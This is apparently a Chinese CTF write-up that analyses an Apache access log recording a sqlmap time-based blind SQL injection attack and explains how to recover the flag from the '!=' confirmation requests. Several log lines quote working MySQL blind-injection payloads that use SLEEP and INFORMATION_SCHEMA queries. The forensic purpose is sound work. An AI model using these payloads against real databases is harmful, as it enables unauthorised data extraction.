首先我們得到了一個文件,用hex editor看一下發現是個壓縮文件,解壓后得到一個log文件!用notepad打開發現是一個日志文件!
我們看2696行解密發現 AND 8366=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x74657374),1,1))>51),SLEEP(5),8366) 而且后面確實sleep了5秒,table_name=users ,table_schema=test!雖然沒什么用其實,但是稍微分析一下!
然后我們具體看一下是怎么爆破的,分析后明白是二分爆破!而且很有特點?。?!就是在爆破完成后有!= 如下?。?!
192.168.52.1 - - [06/Nov/2015:19:13:15 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))>64),SLEEP(5),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"192.168.52.1 - - [06/Nov/2015:19:13:35 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))>96),SLEEP(5),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"192.168.52.1 - - [06/Nov/2015:19:13:35 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))>112),SLEEP(5),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"192.168.52.1 - - [06/Nov/2015:19:13:40 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))>104),SLEEP(5),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"192.168.52.1 - - [06/Nov/2015:19:13:40 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))>108),SLEEP(1),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"192.168.52.1 - - [06/Nov/2015:19:13:40 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))>106),SLEEP(1),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"192.168.52.1 - - [06/Nov/2015:19:13:40 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))>105),SLEEP(1),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"192.168.52.1 - - [06/Nov/2015:19:13:40 -0800] "GET /phpcode/rctf/misc/index.php?id=1 AND 1334=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),9,1))!=105),SLEEP(1),1334) HTTP/1.1" 200 5 "-" "sqlmap/1.0-dev (http://sqlmap.org)" "-"那么索性搜索!=的位置(注意要轉換成url的形勢!%21%3d)用nodepad提取出來!得到了150條記錄,然后我們可以通過序號數或者網址大概長短的相似看出來哪些是一組的,不夠沒關系,都解出來,爆破!
雖然很丑,但是在格式明確的情況下還是可以辨認出來的??!
答案就出來了?。?!
新聞熱點
疑難解答